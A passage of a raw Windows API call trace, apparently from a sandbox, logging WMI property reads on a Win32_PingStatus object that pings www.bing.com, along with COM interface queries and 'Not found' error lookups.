lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858754*=0, plFlavor=0x2858758*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2858754*=3, plFlavor=0x2858758*=64) returned 0x0 [0138.530] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858788*=0, plFlavor=0x285878c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2858788*=8, plFlavor=0x285878c*=64) returned 0x0 [0138.530] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.530] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.530] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28587e0*=0, plFlavor=0x28587e4*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28587e0*=8, plFlavor=0x28587e4*=64) returned 0x0 [0138.530] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858808*=0, plFlavor=0x285880c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2858808*=8, plFlavor=0x285880c*=64) returned 0x0 [0138.530] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.530] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.530] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858860*=0, plFlavor=0x2858864*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2858860*=8, plFlavor=0x2858864*=64) returned 0x0 [0138.530] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.530] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.531] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858a38*=0, plFlavor=0x2858a3c*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2858a38*=3, plFlavor=0x2858a3c*=64) returned 0x0 [0138.531] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858a6c*=0, plFlavor=0x2858a70*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea190*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2858a6c*=8200, plFlavor=0x2858a70*=64) returned 0x0 [0138.531] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858aa0*=0, plFlavor=0x2858aa4*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2858aa0*=8, plFlavor=0x2858aa4*=64) returned 0x0 [0138.531] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.531] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.531] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858aec*=0, plFlavor=0x2858af0*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2858aec*=8, plFlavor=0x2858af0*=64) returned 0x0 [0138.532] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.532] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.532] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858b38*=0, plFlavor=0x2858b3c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2858b38*=8, plFlavor=0x2858b3c*=64) returned 0x0 [0138.532] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.532] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.532] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0138.532] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0138.532] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.532] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="WriteDebugStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858d6c*=0, plFlavor=0x2858d70*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858d6c*=0, plFlavor=0x2858d70*=0) returned 0x80041002 [0138.532] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0138.580] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d09790) returned 0x0 [0138.581] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09790, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0138.581] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d09790, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d097d0) returned 0x0 [0138.581] WbemStatusCodeText:IUnknown:Release (This=0x5d09790) returned 0x0 [0138.581] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d097d0) returned 0x0 [0138.581] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097d0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0138.581] WbemStatusCodeText:IUnknown:AddRef (This=0x5d097d0) returned 0x3 [0138.581] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097d0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0138.581] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097d0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0138.581] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097d0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0138.581] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0138.581] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0138.581] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097d0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0138.581] WbemStatusCodeText:IUnknown:Release (This=0x5d097d0) returned 0x2 [0138.581] WbemStatusCodeText:IUnknown:Release (This=0x5d097d0) returned 0x1 [0138.581] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0138.581] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0138.581] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097d0, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d097d0) returned 0x0 [0138.581] WbemStatusCodeText:IUnknown:AddRef (This=0x5d097d0) returned 0x3 [0138.581] WbemStatusCodeText:IUnknown:Release (This=0x5d097d0) returned 0x2 [0138.582] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d097d0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0138.582] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.583] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0138.583] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0138.583] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.583] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0138.583] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0138.583] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.583] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0138.583] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0138.583] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0138.583] SafeArrayGetLBound (in: psa=0x5cea100, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0138.583] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.583] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.583] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.583] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.583] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.583] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.583] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.583] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.583] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.584] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.584] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.584] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.584] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.584] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.584] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.584] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.584] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.584] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.584] SysStringByteLen (bstr="__PATH") returned 0xc [0138.584] SysStringByteLen (bstr="__PATH") returned 0xc [0138.584] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285914c*=0, plFlavor=0x2859150*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x285914c*=3, plFlavor=0x2859150*=64) returned 0x0 [0138.584] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2859180*=0, plFlavor=0x2859184*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2859180*=8, plFlavor=0x2859184*=64) returned 0x0 [0138.584] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.584] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.584] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28591d8*=0, plFlavor=0x28591dc*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28591d8*=8, plFlavor=0x28591dc*=64) returned 0x0 [0138.584] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2859200*=0, plFlavor=0x2859204*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2859200*=8, plFlavor=0x2859204*=64) returned 0x0 [0138.585] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.585] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.585] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2859258*=0, plFlavor=0x285925c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2859258*=8, plFlavor=0x285925c*=64) returned 0x0 [0138.585] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.585] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.585] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2859430*=0, plFlavor=0x2859434*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2859430*=3, plFlavor=0x2859434*=64) returned 0x0 [0138.585] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2859464*=0, plFlavor=0x2859468*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ce9fb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2859464*=8200, plFlavor=0x2859468*=64) returned 0x0 [0138.585] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2859498*=0, plFlavor=0x285949c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2859498*=8, plFlavor=0x285949c*=64) returned 0x0 [0138.585] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.585] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.585] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28594e4*=0, plFlavor=0x28594e8*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28594e4*=8, plFlavor=0x28594e8*=64) returned 0x0 [0138.585] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.586] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.586] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2859530*=0, plFlavor=0x2859534*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2859530*=8, plFlavor=0x2859534*=64) returned 0x0 [0138.586] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.586] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.586] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0138.586] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0138.586] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.586] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="WriteInformationStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2859764*=0, plFlavor=0x2859768*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2859764*=0, plFlavor=0x2859768*=0) returned 0x80041002 [0138.586] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0138.587] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d09790) returned 0x0 [0138.587] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09790, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0138.588] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d09790, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d097e0) returned 0x0 [0138.588] WbemStatusCodeText:IUnknown:Release (This=0x5d09790) returned 0x0 [0138.588] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097e0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d097e0) returned 0x0 [0138.588] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097e0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0138.588] WbemStatusCodeText:IUnknown:AddRef (This=0x5d097e0) returned 0x3 [0138.588] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097e0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0138.588] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097e0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0138.588] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097e0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 